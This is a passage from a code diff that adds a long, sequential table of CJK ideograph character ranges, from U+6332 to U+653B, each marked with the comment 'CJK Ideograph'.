+ ["\u6332", "\u6332"], /* CJK Ideograph */
+ ["\u6333", "\u6333"], /* CJK Ideograph */
+ ["\u6334", "\u6334"], /* CJK Ideograph */
+ ["\u6335", "\u6335"], /* CJK Ideograph */
+ ["\u6336", "\u6336"], /* CJK Ideograph */
+ ["\u6337", "\u6337"], /* CJK Ideograph */
+ ["\u6338", "\u6338"], /* CJK Ideograph */
+ ["\u6339", "\u6339"], /* CJK Ideograph */
+ ["\u633A", "\u633A"], /* CJK Ideograph */
+ ["\u633B", "\u633B"], /* CJK Ideograph */
+ ["\u633C", "\u633C"], /* CJK Ideograph */
+ ["\u633D", "\u633D"], /* CJK Ideograph */
+ ["\u633E", "\u633E"], /* CJK Ideograph */
+ ["\u633F", "\u633F"], /* CJK Ideograph */
+ ["\u6340", "\u6340"], /* CJK Ideograph */
+ ["\u6341", "\u6341"], /* CJK Ideograph */
+ ["\u6342", "\u6342"], /* CJK Ideograph */
+ ["\u6343", "\u6343"], /* CJK Ideograph */
+ ["\u6344", "\u6344"], /* CJK Ideograph */
+ ["\u6345", "\u6345"], /* CJK Ideograph */
+ ["\u6346", "\u6346"], /* CJK Ideograph */
+ ["\u6347", "\u6347"], /* CJK Ideograph */
+ ["\u6348", "\u6348"], /* CJK Ideograph */
+ ["\u6349", "\u6349"], /* CJK Ideograph */
+ ["\u634A", "\u634A"], /* CJK Ideograph */
+ ["\u634B", "\u634B"], /* CJK Ideograph */
+ ["\u634C", "\u634C"], /* CJK Ideograph */
+ ["\u634D", "\u634D"], /* CJK Ideograph */
+ ["\u634E", "\u634E"], /* CJK Ideograph */
+ ["\u634F", "\u634F"], /* CJK Ideograph */
+ ["\u6350", "\u6350"], /* CJK Ideograph */
+ ["\u6351", "\u6351"], /* CJK Ideograph */
+ ["\u6352", "\u6352"], /* CJK Ideograph */
+ ["\u6353", "\u6353"], /* CJK Ideograph */
+ ["\u6354", "\u6354"], /* CJK Ideograph */
+ ["\u6355", "\u6355"], /* CJK Ideograph */
+ ["\u6356", "\u6356"], /* CJK Ideograph */
+ ["\u6357", "\u6357"], /* CJK Ideograph */
+ ["\u6358", "\u6358"], /* CJK Ideograph */
+ ["\u6359", "\u6359"], /* CJK Ideograph */
+ ["\u635A", "\u635A"], /* CJK Ideograph */
+ ["\u635B", "\u635B"], /* CJK Ideograph */
+ ["\u635C", "\u635C"], /* CJK Ideograph */
+ ["\u635D", "\u635D"], /* CJK Ideograph */
+ ["\u635E", "\u635E"], /* CJK Ideograph */
+ ["\u635F", "\u635F"], /* CJK Ideograph */
+ ["\u6360", "\u6360"], /* CJK Ideograph */
+ ["\u6361", "\u6361"], /* CJK Ideograph */
+ ["\u6362", "\u6362"], /* CJK Ideograph */
+ ["\u6363", "\u6363"], /* CJK Ideograph */
+ ["\u6364", "\u6364"], /* CJK Ideograph */
+ ["\u6365", "\u6365"], /* CJK Ideograph */
+ ["\u6366", "\u6366"], /* CJK Ideograph */
+ ["\u6367", "\u6367"], /* CJK Ideograph */
+ ["\u6368", "\u6368"], /* CJK Ideograph */
+ ["\u6369", "\u6369"], /* CJK Ideograph */
+ ["\u636A", "\u636A"], /* CJK Ideograph */
+ ["\u636B", "\u636B"], /* CJK Ideograph */
+ ["\u636C", "\u636C"], /* CJK Ideograph */
+ ["\u636D", "\u636D"], /* CJK Ideograph */
+ ["\u636E", "\u636E"], /* CJK Ideograph */
+ ["\u636F", "\u636F"], /* CJK Ideograph */
+ ["\u6370", "\u6370"], /* CJK Ideograph */
+ ["\u6371", "\u6371"], /* CJK Ideograph */
+ ["\u6372", "\u6372"], /* CJK Ideograph */
+ ["\u6373", "\u6373"], /* CJK Ideograph */
+ ["\u6374", "\u6374"], /* CJK Ideograph */
+ ["\u6375", "\u6375"], /* CJK Ideograph */
+ ["\u6376", "\u6376"], /* CJK Ideograph */
+ ["\u6377", "\u6377"], /* CJK Ideograph */
+ ["\u6378", "\u6378"], /* CJK Ideograph */
+ ["\u6379", "\u6379"], /* CJK Ideograph */
+ ["\u637A", "\u637A"], /* CJK Ideograph */
+ ["\u637B", "\u637B"], /* CJK Ideograph */
+ ["\u637C", "\u637C"], /* CJK Ideograph */
+ ["\u637D", "\u637D"], /* CJK Ideograph */
+ ["\u637E", "\u637E"], /* CJK Ideograph */
+ ["\u637F", "\u637F"], /* CJK Ideograph */
+ ["\u6380", "\u6380"], /* CJK Ideograph */
+ ["\u6381", "\u6381"], /* CJK Ideograph */
+ ["\u6382", "\u6382"], /* CJK Ideograph */
+ ["\u6383", "\u6383"], /* CJK Ideograph */
+ ["\u6384", "\u6384"], /* CJK Ideograph */
+ ["\u6385", "\u6385"], /* CJK Ideograph */
+ ["\u6386", "\u6386"], /* CJK Ideograph */
+ ["\u6387", "\u6387"], /* CJK Ideograph */
+ ["\u6388", "\u6388"], /* CJK Ideograph */
+ ["\u6389", "\u6389"], /* CJK Ideograph */
+ ["\u638A", "\u638A"], /* CJK Ideograph */
+ ["\u638B", "\u638B"], /* CJK Ideograph */
+ ["\u638C", "\u638C"], /* CJK Ideograph */
+ ["\u638D", "\u638D"], /* CJK Ideograph */
+ ["\u638E", "\u638E"], /* CJK Ideograph */
+ ["\u638F", "\u638F"], /* CJK Ideograph */
+ ["\u6390", "\u6390"], /* CJK Ideograph */
+ ["\u6391", "\u6391"], /* CJK Ideograph */
+ ["\u6392", "\u6392"], /* CJK Ideograph */
+ ["\u6393", "\u6393"], /* CJK Ideograph */
+ ["\u6394", "\u6394"], /* CJK Ideograph */
+ ["\u6395", "\u6395"], /* CJK Ideograph */
+ ["\u6396", "\u6396"], /* CJK Ideograph */
+ ["\u6397", "\u6397"], /* CJK Ideograph */
+ ["\u6398", "\u6398"], /* CJK Ideograph */
+ ["\u6399", "\u6399"], /* CJK Ideograph */
+ ["\u639A", "\u639A"], /* CJK Ideograph */
+ ["\u639B", "\u639B"], /* CJK Ideograph */
+ ["\u639C", "\u639C"], /* CJK Ideograph */
+ ["\u639D", "\u639D"], /* CJK Ideograph */
+ ["\u639E", "\u639E"], /* CJK Ideograph */
+ ["\u639F", "\u639F"], /* CJK Ideograph */
+ ["\u63A0", "\u63A0"], /* CJK Ideograph */
+ ["\u63A1", "\u63A1"], /* CJK Ideograph */
+ ["\u63A2", "\u63A2"], /* CJK Ideograph */
+ ["\u63A3", "\u63A3"], /* CJK Ideograph */
+ ["\u63A4", "\u63A4"], /* CJK Ideograph */
+ ["\u63A5", "\u63A5"], /* CJK Ideograph */
+ ["\u63A6", "\u63A6"], /* CJK Ideograph */
+ ["\u63A7", "\u63A7"], /* CJK Ideograph */
+ ["\u63A8", "\u63A8"], /* CJK Ideograph */
+ ["\u63A9", "\u63A9"], /* CJK Ideograph */
+ ["\u63AA", "\u63AA"], /* CJK Ideograph */
+ ["\u63AB", "\u63AB"], /* CJK Ideograph */
+ ["\u63AC", "\u63AC"], /* CJK Ideograph */
+ ["\u63AD", "\u63AD"], /* CJK Ideograph */
+ ["\u63AE", "\u63AE"], /* CJK Ideograph */
+ ["\u63AF", "\u63AF"], /* CJK Ideograph */
+ ["\u63B0", "\u63B0"], /* CJK Ideograph */
+ ["\u63B1", "\u63B1"], /* CJK Ideograph */
+ ["\u63B2", "\u63B2"], /* CJK Ideograph */
+ ["\u63B3", "\u63B3"], /* CJK Ideograph */
+ ["\u63B4", "\u63B4"], /* CJK Ideograph */
+ ["\u63B5", "\u63B5"], /* CJK Ideograph */
+ ["\u63B6", "\u63B6"], /* CJK Ideograph */
+ ["\u63B7", "\u63B7"], /* CJK Ideograph */
+ ["\u63B8", "\u63B8"], /* CJK Ideograph */
+ ["\u63B9", "\u63B9"], /* CJK Ideograph */
+ ["\u63BA", "\u63BA"], /* CJK Ideograph */
+ ["\u63BB", "\u63BB"], /* CJK Ideograph */
+ ["\u63BC", "\u63BC"], /* CJK Ideograph */
+ ["\u63BD", "\u63BD"], /* CJK Ideograph */
+ ["\u63BE", "\u63BE"], /* CJK Ideograph */
+ ["\u63BF", "\u63BF"], /* CJK Ideograph */
+ ["\u63C0", "\u63C0"], /* CJK Ideograph */
+ ["\u63C1", "\u63C1"], /* CJK Ideograph */
+ ["\u63C2", "\u63C2"], /* CJK Ideograph */
+ ["\u63C3", "\u63C3"], /* CJK Ideograph */
+ ["\u63C4", "\u63C4"], /* CJK Ideograph */
+ ["\u63C5", "\u63C5"], /* CJK Ideograph */
+ ["\u63C6", "\u63C6"], /* CJK Ideograph */
+ ["\u63C7", "\u63C7"], /* CJK Ideograph */
+ ["\u63C8", "\u63C8"], /* CJK Ideograph */
+ ["\u63C9", "\u63C9"], /* CJK Ideograph */
+ ["\u63CA", "\u63CA"], /* CJK Ideograph */
+ ["\u63CB", "\u63CB"], /* CJK Ideograph */
+ ["\u63CC", "\u63CC"], /* CJK Ideograph */
+ ["\u63CD", "\u63CD"], /* CJK Ideograph */
+ ["\u63CE", "\u63CE"], /* CJK Ideograph */
+ ["\u63CF", "\u63CF"], /* CJK Ideograph */
+ ["\u63D0", "\u63D0"], /* CJK Ideograph */
+ ["\u63D1", "\u63D1"], /* CJK Ideograph */
+ ["\u63D2", "\u63D2"], /* CJK Ideograph */
+ ["\u63D3", "\u63D3"], /* CJK Ideograph */
+ ["\u63D4", "\u63D4"], /* CJK Ideograph */
+ ["\u63D5", "\u63D5"], /* CJK Ideograph */
+ ["\u63D6", "\u63D6"], /* CJK Ideograph */
+ ["\u63D7", "\u63D7"], /* CJK Ideograph */
+ ["\u63D8", "\u63D8"], /* CJK Ideograph */
+ ["\u63D9", "\u63D9"], /* CJK Ideograph */
+ ["\u63DA", "\u63DA"], /* CJK Ideograph */
+ ["\u63DB", "\u63DB"], /* CJK Ideograph */
+ ["\u63DC", "\u63DC"], /* CJK Ideograph */
+ ["\u63DD", "\u63DD"], /* CJK Ideograph */
+ ["\u63DE", "\u63DE"], /* CJK Ideograph */
+ ["\u63DF", "\u63DF"], /* CJK Ideograph */
+ ["\u63E0", "\u63E0"], /* CJK Ideograph */
+ ["\u63E1", "\u63E1"], /* CJK Ideograph */
+ ["\u63E2", "\u63E2"], /* CJK Ideograph */
+ ["\u63E3", "\u63E3"], /* CJK Ideograph */
+ ["\u63E4", "\u63E4"], /* CJK Ideograph */
+ ["\u63E5", "\u63E5"], /* CJK Ideograph */
+ ["\u63E6", "\u63E6"], /* CJK Ideograph */
+ ["\u63E7", "\u63E7"], /* CJK Ideograph */
+ ["\u63E8", "\u63E8"], /* CJK Ideograph */
+ ["\u63E9", "\u63E9"], /* CJK Ideograph */
+ ["\u63EA", "\u63EA"], /* CJK Ideograph */
+ ["\u63EB", "\u63EB"], /* CJK Ideograph */
+ ["\u63EC", "\u63EC"], /* CJK Ideograph */
+ ["\u63ED", "\u63ED"], /* CJK Ideograph */
+ ["\u63EE", "\u63EE"], /* CJK Ideograph */
+ ["\u63EF", "\u63EF"], /* CJK Ideograph */
+ ["\u63F0", "\u63F0"], /* CJK Ideograph */
+ ["\u63F1", "\u63F1"], /* CJK Ideograph */
+ ["\u63F2", "\u63F2"], /* CJK Ideograph */
+ ["\u63F3", "\u63F3"], /* CJK Ideograph */
+ ["\u63F4", "\u63F4"], /* CJK Ideograph */
+ ["\u63F5", "\u63F5"], /* CJK Ideograph */
+ ["\u63F6", "\u63F6"], /* CJK Ideograph */
+ ["\u63F7", "\u63F7"], /* CJK Ideograph */
+ ["\u63F8", "\u63F8"], /* CJK Ideograph */
+ ["\u63F9", "\u63F9"], /* CJK Ideograph */
+ ["\u63FA", "\u63FA"], /* CJK Ideograph */
+ ["\u63FB", "\u63FB"], /* CJK Ideograph */
+ ["\u63FC", "\u63FC"], /* CJK Ideograph */
+ ["\u63FD", "\u63FD"], /* CJK Ideograph */
+ ["\u63FE", "\u63FE"], /* CJK Ideograph */
+ ["\u63FF", "\u63FF"], /* CJK Ideograph */
+ ["\u6400", "\u6400"], /* CJK Ideograph */
+ ["\u6401", "\u6401"], /* CJK Ideograph */
+ ["\u6402", "\u6402"], /* CJK Ideograph */
+ ["\u6403", "\u6403"], /* CJK Ideograph */
+ ["\u6404", "\u6404"], /* CJK Ideograph */
+ ["\u6405", "\u6405"], /* CJK Ideograph */
+ ["\u6406", "\u6406"], /* CJK Ideograph */
+ ["\u6407", "\u6407"], /* CJK Ideograph */
+ ["\u6408", "\u6408"], /* CJK Ideograph */
+ ["\u6409", "\u6409"], /* CJK Ideograph */
+ ["\u640A", "\u640A"], /* CJK Ideograph */
+ ["\u640B", "\u640B"], /* CJK Ideograph */
+ ["\u640C", "\u640C"], /* CJK Ideograph */
+ ["\u640D", "\u640D"], /* CJK Ideograph */
+ ["\u640E", "\u640E"], /* CJK Ideograph */
+ ["\u640F", "\u640F"], /* CJK Ideograph */
+ ["\u6410", "\u6410"], /* CJK Ideograph */
+ ["\u6411", "\u6411"], /* CJK Ideograph */
+ ["\u6412", "\u6412"], /* CJK Ideograph */
+ ["\u6413", "\u6413"], /* CJK Ideograph */
+ ["\u6414", "\u6414"], /* CJK Ideograph */
+ ["\u6415", "\u6415"], /* CJK Ideograph */
+ ["\u6416", "\u6416"], /* CJK Ideograph */
+ ["\u6417", "\u6417"], /* CJK Ideograph */
+ ["\u6418", "\u6418"], /* CJK Ideograph */
+ ["\u6419", "\u6419"], /* CJK Ideograph */
+ ["\u641A", "\u641A"], /* CJK Ideograph */
+ ["\u641B", "\u641B"], /* CJK Ideograph */
+ ["\u641C", "\u641C"], /* CJK Ideograph */
+ ["\u641D", "\u641D"], /* CJK Ideograph */
+ ["\u641E", "\u641E"], /* CJK Ideograph */
+ ["\u641F", "\u641F"], /* CJK Ideograph */
+ ["\u6420", "\u6420"], /* CJK Ideograph */
+ ["\u6421", "\u6421"], /* CJK Ideograph */
+ ["\u6422", "\u6422"], /* CJK Ideograph */
+ ["\u6423", "\u6423"], /* CJK Ideograph */
+ ["\u6424", "\u6424"], /* CJK Ideograph */
+ ["\u6425", "\u6425"], /* CJK Ideograph */
+ ["\u6426", "\u6426"], /* CJK Ideograph */
+ ["\u6427", "\u6427"], /* CJK Ideograph */
+ ["\u6428", "\u6428"], /* CJK Ideograph */
+ ["\u6429", "\u6429"], /* CJK Ideograph */
+ ["\u642A", "\u642A"], /* CJK Ideograph */
+ ["\u642B", "\u642B"], /* CJK Ideograph */
+ ["\u642C", "\u642C"], /* CJK Ideograph */
+ ["\u642D", "\u642D"], /* CJK Ideograph */
+ ["\u642E", "\u642E"], /* CJK Ideograph */
+ ["\u642F", "\u642F"], /* CJK Ideograph */
+ ["\u6430", "\u6430"], /* CJK Ideograph */
+ ["\u6431", "\u6431"], /* CJK Ideograph */
+ ["\u6432", "\u6432"], /* CJK Ideograph */
+ ["\u6433", "\u6433"], /* CJK Ideograph */
+ ["\u6434", "\u6434"], /* CJK Ideograph */
+ ["\u6435", "\u6435"], /* CJK Ideograph */
+ ["\u6436", "\u6436"], /* CJK Ideograph */
+ ["\u6437", "\u6437"], /* CJK Ideograph */
+ ["\u6438", "\u6438"], /* CJK Ideograph */
+ ["\u6439", "\u6439"], /* CJK Ideograph */
+ ["\u643A", "\u643A"], /* CJK Ideograph */
+ ["\u643B", "\u643B"], /* CJK Ideograph */
+ ["\u643C", "\u643C"], /* CJK Ideograph */
+ ["\u643D", "\u643D"], /* CJK Ideograph */
+ ["\u643E", "\u643E"], /* CJK Ideograph */
+ ["\u643F", "\u643F"], /* CJK Ideograph */
+ ["\u6440", "\u6440"], /* CJK Ideograph */
+ ["\u6441", "\u6441"], /* CJK Ideograph */
+ ["\u6442", "\u6442"], /* CJK Ideograph */
+ ["\u6443", "\u6443"], /* CJK Ideograph */
+ ["\u6444", "\u6444"], /* CJK Ideograph */
+ ["\u6445", "\u6445"], /* CJK Ideograph */
+ ["\u6446", "\u6446"], /* CJK Ideograph */
+ ["\u6447", "\u6447"], /* CJK Ideograph */
+ ["\u6448", "\u6448"], /* CJK Ideograph */
+ ["\u6449", "\u6449"], /* CJK Ideograph */
+ ["\u644A", "\u644A"], /* CJK Ideograph */
+ ["\u644B", "\u644B"], /* CJK Ideograph */
+ ["\u644C", "\u644C"], /* CJK Ideograph */
+ ["\u644D", "\u644D"], /* CJK Ideograph */
+ ["\u644E", "\u644E"], /* CJK Ideograph */
+ ["\u644F", "\u644F"], /* CJK Ideograph */
+ ["\u6450", "\u6450"], /* CJK Ideograph */
+ ["\u6451", "\u6451"], /* CJK Ideograph */
+ ["\u6452", "\u6452"], /* CJK Ideograph */
+ ["\u6453", "\u6453"], /* CJK Ideograph */
+ ["\u6454", "\u6454"], /* CJK Ideograph */
+ ["\u6455", "\u6455"], /* CJK Ideograph */
+ ["\u6456", "\u6456"], /* CJK Ideograph */
+ ["\u6457", "\u6457"], /* CJK Ideograph */
+ ["\u6458", "\u6458"], /* CJK Ideograph */
+ ["\u6459", "\u6459"], /* CJK Ideograph */
+ ["\u645A", "\u645A"], /* CJK Ideograph */
+ ["\u645B", "\u645B"], /* CJK Ideograph */
+ ["\u645C", "\u645C"], /* CJK Ideograph */
+ ["\u645D", "\u645D"], /* CJK Ideograph */
+ ["\u645E", "\u645E"], /* CJK Ideograph */
+ ["\u645F", "\u645F"], /* CJK Ideograph */
+ ["\u6460", "\u6460"], /* CJK Ideograph */
+ ["\u6461", "\u6461"], /* CJK Ideograph */
+ ["\u6462", "\u6462"], /* CJK Ideograph */
+ ["\u6463", "\u6463"], /* CJK Ideograph */
+ ["\u6464", "\u6464"], /* CJK Ideograph */
+ ["\u6465", "\u6465"], /* CJK Ideograph */
+ ["\u6466", "\u6466"], /* CJK Ideograph */
+ ["\u6467", "\u6467"], /* CJK Ideograph */
+ ["\u6468", "\u6468"], /* CJK Ideograph */
+ ["\u6469", "\u6469"], /* CJK Ideograph */
+ ["\u646A", "\u646A"], /* CJK Ideograph */
+ ["\u646B", "\u646B"], /* CJK Ideograph */
+ ["\u646C", "\u646C"], /* CJK Ideograph */
+ ["\u646D", "\u646D"], /* CJK Ideograph */
+ ["\u646E", "\u646E"], /* CJK Ideograph */
+ ["\u646F", "\u646F"], /* CJK Ideograph */
+ ["\u6470", "\u6470"], /* CJK Ideograph */
+ ["\u6471", "\u6471"], /* CJK Ideograph */
+ ["\u6472", "\u6472"], /* CJK Ideograph */
+ ["\u6473", "\u6473"], /* CJK Ideograph */
+ ["\u6474", "\u6474"], /* CJK Ideograph */
+ ["\u6475", "\u6475"], /* CJK Ideograph */
+ ["\u6476", "\u6476"], /* CJK Ideograph */
+ ["\u6477", "\u6477"], /* CJK Ideograph */
+ ["\u6478", "\u6478"], /* CJK Ideograph */
+ ["\u6479", "\u6479"], /* CJK Ideograph */
+ ["\u647A", "\u647A"], /* CJK Ideograph */
+ ["\u647B", "\u647B"], /* CJK Ideograph */
+ ["\u647C", "\u647C"], /* CJK Ideograph */
+ ["\u647D", "\u647D"], /* CJK Ideograph */
+ ["\u647E", "\u647E"], /* CJK Ideograph */
+ ["\u647F", "\u647F"], /* CJK Ideograph */
+ ["\u6480", "\u6480"], /* CJK Ideograph */
+ ["\u6481", "\u6481"], /* CJK Ideograph */
+ ["\u6482", "\u6482"], /* CJK Ideograph */
+ ["\u6483", "\u6483"], /* CJK Ideograph */
+ ["\u6484", "\u6484"], /* CJK Ideograph */
+ ["\u6485", "\u6485"], /* CJK Ideograph */
+ ["\u6486", "\u6486"], /* CJK Ideograph */
+ ["\u6487", "\u6487"], /* CJK Ideograph */
+ ["\u6488", "\u6488"], /* CJK Ideograph */
+ ["\u6489", "\u6489"], /* CJK Ideograph */
+ ["\u648A", "\u648A"], /* CJK Ideograph */
+ ["\u648B", "\u648B"], /* CJK Ideograph */
+ ["\u648C", "\u648C"], /* CJK Ideograph */
+ ["\u648D", "\u648D"], /* CJK Ideograph */
+ ["\u648E", "\u648E"], /* CJK Ideograph */
+ ["\u648F", "\u648F"], /* CJK Ideograph */
+ ["\u6490", "\u6490"], /* CJK Ideograph */
+ ["\u6491", "\u6491"], /* CJK Ideograph */
+ ["\u6492", "\u6492"], /* CJK Ideograph */
+ ["\u6493", "\u6493"], /* CJK Ideograph */
+ ["\u6494", "\u6494"], /* CJK Ideograph */
+ ["\u6495", "\u6495"], /* CJK Ideograph */
+ ["\u6496", "\u6496"], /* CJK Ideograph */
+ ["\u6497", "\u6497"], /* CJK Ideograph */
+ ["\u6498", "\u6498"], /* CJK Ideograph */
+ ["\u6499", "\u6499"], /* CJK Ideograph */
+ ["\u649A", "\u649A"], /* CJK Ideograph */
+ ["\u649B", "\u649B"], /* CJK Ideograph */
+ ["\u649C", "\u649C"], /* CJK Ideograph */
+ ["\u649D", "\u649D"], /* CJK Ideograph */
+ ["\u649E", "\u649E"], /* CJK Ideograph */
+ ["\u649F", "\u649F"], /* CJK Ideograph */
+ ["\u64A0", "\u64A0"], /* CJK Ideograph */
+ ["\u64A1", "\u64A1"], /* CJK Ideograph */
+ ["\u64A2", "\u64A2"], /* CJK Ideograph */
+ ["\u64A3", "\u64A3"], /* CJK Ideograph */
+ ["\u64A4", "\u64A4"], /* CJK Ideograph */
+ ["\u64A5", "\u64A5"], /* CJK Ideograph */
+ ["\u64A6", "\u64A6"], /* CJK Ideograph */
+ ["\u64A7", "\u64A7"], /* CJK Ideograph */
+ ["\u64A8", "\u64A8"], /* CJK Ideograph */
+ ["\u64A9", "\u64A9"], /* CJK Ideograph */
+ ["\u64AA", "\u64AA"], /* CJK Ideograph */
+ ["\u64AB", "\u64AB"], /* CJK Ideograph */
+ ["\u64AC", "\u64AC"], /* CJK Ideograph */
+ ["\u64AD", "\u64AD"], /* CJK Ideograph */
+ ["\u64AE", "\u64AE"], /* CJK Ideograph */
+ ["\u64AF", "\u64AF"], /* CJK Ideograph */
+ ["\u64B0", "\u64B0"], /* CJK Ideograph */
+ ["\u64B1", "\u64B1"], /* CJK Ideograph */
+ ["\u64B2", "\u64B2"], /* CJK Ideograph */
+ ["\u64B3", "\u64B3"], /* CJK Ideograph */
+ ["\u64B4", "\u64B4"], /* CJK Ideograph */
+ ["\u64B5", "\u64B5"], /* CJK Ideograph */
+ ["\u64B6", "\u64B6"], /* CJK Ideograph */
+ ["\u64B7", "\u64B7"], /* CJK Ideograph */
+ ["\u64B8", "\u64B8"], /* CJK Ideograph */
+ ["\u64B9", "\u64B9"], /* CJK Ideograph */
+ ["\u64BA", "\u64BA"], /* CJK Ideograph */
+ ["\u64BB", "\u64BB"], /* CJK Ideograph */
+ ["\u64BC", "\u64BC"], /* CJK Ideograph */
+ ["\u64BD", "\u64BD"], /* CJK Ideograph */
+ ["\u64BE", "\u64BE"], /* CJK Ideograph */
+ ["\u64BF", "\u64BF"], /* CJK Ideograph */
+ ["\u64C0", "\u64C0"], /* CJK Ideograph */
+ ["\u64C1", "\u64C1"], /* CJK Ideograph */
+ ["\u64C2", "\u64C2"], /* CJK Ideograph */
+ ["\u64C3", "\u64C3"], /* CJK Ideograph */
+ ["\u64C4", "\u64C4"], /* CJK Ideograph */
+ ["\u64C5", "\u64C5"], /* CJK Ideograph */
+ ["\u64C6", "\u64C6"], /* CJK Ideograph */
+ ["\u64C7", "\u64C7"], /* CJK Ideograph */
+ ["\u64C8", "\u64C8"], /* CJK Ideograph */
+ ["\u64C9", "\u64C9"], /* CJK Ideograph */
+ ["\u64CA", "\u64CA"], /* CJK Ideograph */
+ ["\u64CB", "\u64CB"], /* CJK Ideograph */
+ ["\u64CC", "\u64CC"], /* CJK Ideograph */
+ ["\u64CD", "\u64CD"], /* CJK Ideograph */
+ ["\u64CE", "\u64CE"], /* CJK Ideograph */
+ ["\u64CF", "\u64CF"], /* CJK Ideograph */
+ ["\u64D0", "\u64D0"], /* CJK Ideograph */
+ ["\u64D1", "\u64D1"], /* CJK Ideograph */
+ ["\u64D2", "\u64D2"], /* CJK Ideograph */
+ ["\u64D3", "\u64D3"], /* CJK Ideograph */
+ ["\u64D4", "\u64D4"], /* CJK Ideograph */
+ ["\u64D5", "\u64D5"], /* CJK Ideograph */
+ ["\u64D6", "\u64D6"], /* CJK Ideograph */
+ ["\u64D7", "\u64D7"], /* CJK Ideograph */
+ ["\u64D8", "\u64D8"], /* CJK Ideograph */
+ ["\u64D9", "\u64D9"], /* CJK Ideograph */
+ ["\u64DA", "\u64DA"], /* CJK Ideograph */
+ ["\u64DB", "\u64DB"], /* CJK Ideograph */
+ ["\u64DC", "\u64DC"], /* CJK Ideograph */
+ ["\u64DD", "\u64DD"], /* CJK Ideograph */
+ ["\u64DE", "\u64DE"], /* CJK Ideograph */
+ ["\u64DF", "\u64DF"], /* CJK Ideograph */
+ ["\u64E0", "\u64E0"], /* CJK Ideograph */
+ ["\u64E1", "\u64E1"], /* CJK Ideograph */
+ ["\u64E2", "\u64E2"], /* CJK Ideograph */
+ ["\u64E3", "\u64E3"], /* CJK Ideograph */
+ ["\u64E4", "\u64E4"], /* CJK Ideograph */
+ ["\u64E5", "\u64E5"], /* CJK Ideograph */
+ ["\u64E6", "\u64E6"], /* CJK Ideograph */
+ ["\u64E7", "\u64E7"], /* CJK Ideograph */
+ ["\u64E8", "\u64E8"], /* CJK Ideograph */
+ ["\u64E9", "\u64E9"], /* CJK Ideograph */
+ ["\u64EA", "\u64EA"], /* CJK Ideograph */
+ ["\u64EB", "\u64EB"], /* CJK Ideograph */
+ ["\u64EC", "\u64EC"], /* CJK Ideograph */
+ ["\u64ED", "\u64ED"], /* CJK Ideograph */
+ ["\u64EE", "\u64EE"], /* CJK Ideograph */
+ ["\u64EF", "\u64EF"], /* CJK Ideograph */
+ ["\u64F0", "\u64F0"], /* CJK Ideograph */
+ ["\u64F1", "\u64F1"], /* CJK Ideograph */
+ ["\u64F2", "\u64F2"], /* CJK Ideograph */
+ ["\u64F3", "\u64F3"], /* CJK Ideograph */
+ ["\u64F4", "\u64F4"], /* CJK Ideograph */
+ ["\u64F5", "\u64F5"], /* CJK Ideograph */
+ ["\u64F6", "\u64F6"], /* CJK Ideograph */
+ ["\u64F7", "\u64F7"], /* CJK Ideograph */
+ ["\u64F8", "\u64F8"], /* CJK Ideograph */
+ ["\u64F9", "\u64F9"], /* CJK Ideograph */
+ ["\u64FA", "\u64FA"], /* CJK Ideograph */
+ ["\u64FB", "\u64FB"], /* CJK Ideograph */
+ ["\u64FC", "\u64FC"], /* CJK Ideograph */
+ ["\u64FD", "\u64FD"], /* CJK Ideograph */
+ ["\u64FE", "\u64FE"], /* CJK Ideograph */
+ ["\u64FF", "\u64FF"], /* CJK Ideograph */
+ ["\u6500", "\u6500"], /* CJK Ideograph */
+ ["\u6501", "\u6501"], /* CJK Ideograph */
+ ["\u6502", "\u6502"], /* CJK Ideograph */
+ ["\u6503", "\u6503"], /* CJK Ideograph */
+ ["\u6504", "\u6504"], /* CJK Ideograph */
+ ["\u6505", "\u6505"], /* CJK Ideograph */
+ ["\u6506", "\u6506"], /* CJK Ideograph */
+ ["\u6507", "\u6507"], /* CJK Ideograph */
+ ["\u6508", "\u6508"], /* CJK Ideograph */
+ ["\u6509", "\u6509"], /* CJK Ideograph */
+ ["\u650A", "\u650A"], /* CJK Ideograph */
+ ["\u650B", "\u650B"], /* CJK Ideograph */
+ ["\u650C", "\u650C"], /* CJK Ideograph */
+ ["\u650D", "\u650D"], /* CJK Ideograph */
+ ["\u650E", "\u650E"], /* CJK Ideograph */
+ ["\u650F", "\u650F"], /* CJK Ideograph */
+ ["\u6510", "\u6510"], /* CJK Ideograph */
+ ["\u6511", "\u6511"], /* CJK Ideograph */
+ ["\u6512", "\u6512"], /* CJK Ideograph */
+ ["\u6513", "\u6513"], /* CJK Ideograph */
+ ["\u6514", "\u6514"], /* CJK Ideograph */
+ ["\u6515", "\u6515"], /* CJK Ideograph */
+ ["\u6516", "\u6516"], /* CJK Ideograph */
+ ["\u6517", "\u6517"], /* CJK Ideograph */
+ ["\u6518", "\u6518"], /* CJK Ideograph */
+ ["\u6519", "\u6519"], /* CJK Ideograph */
+ ["\u651A", "\u651A"], /* CJK Ideograph */
+ ["\u651B", "\u651B"], /* CJK Ideograph */
+ ["\u651C", "\u651C"], /* CJK Ideograph */
+ ["\u651D", "\u651D"], /* CJK Ideograph */
+ ["\u651E", "\u651E"], /* CJK Ideograph */
+ ["\u651F", "\u651F"], /* CJK Ideograph */
+ ["\u6520", "\u6520"], /* CJK Ideograph */
+ ["\u6521", "\u6521"], /* CJK Ideograph */
+ ["\u6522", "\u6522"], /* CJK Ideograph */
+ ["\u6523", "\u6523"], /* CJK Ideograph */
+ ["\u6524", "\u6524"], /* CJK Ideograph */
+ ["\u6525", "\u6525"], /* CJK Ideograph */
+ ["\u6526", "\u6526"], /* CJK Ideograph */
+ ["\u6527", "\u6527"], /* CJK Ideograph */
+ ["\u6528", "\u6528"], /* CJK Ideograph */
+ ["\u6529", "\u6529"], /* CJK Ideograph */
+ ["\u652A", "\u652A"], /* CJK Ideograph */
+ ["\u652B", "\u652B"], /* CJK Ideograph */
+ ["\u652C", "\u652C"], /* CJK Ideograph */
+ ["\u652D", "\u652D"], /* CJK Ideograph */
+ ["\u652E", "\u652E"], /* CJK Ideograph */
+ ["\u652F", "\u652F"], /* CJK Ideograph */
+ ["\u6530", "\u6530"], /* CJK Ideograph */
+ ["\u6531", "\u6531"], /* CJK Ideograph */
+ ["\u6532", "\u6532"], /* CJK Ideograph */
+ ["\u6533", "\u6533"], /* CJK Ideograph */
+ ["\u6534", "\u6534"], /* CJK Ideograph */
+ ["\u6535", "\u6535"], /* CJK Ideograph */
+ ["\u6536", "\u6536"], /* CJK Ideograph */
+ ["\u6537", "\u6537"], /* CJK Ideograph */
+ ["\u6538", "\u6538"], /* CJK Ideograph */
+ ["\u6539", "\u6539"], /* CJK Ideograph */
+ ["\u653A", "\u653A"], /* CJK Ideograph */
+ ["\u653B", "\u653B"], /* CJK Ideograph */
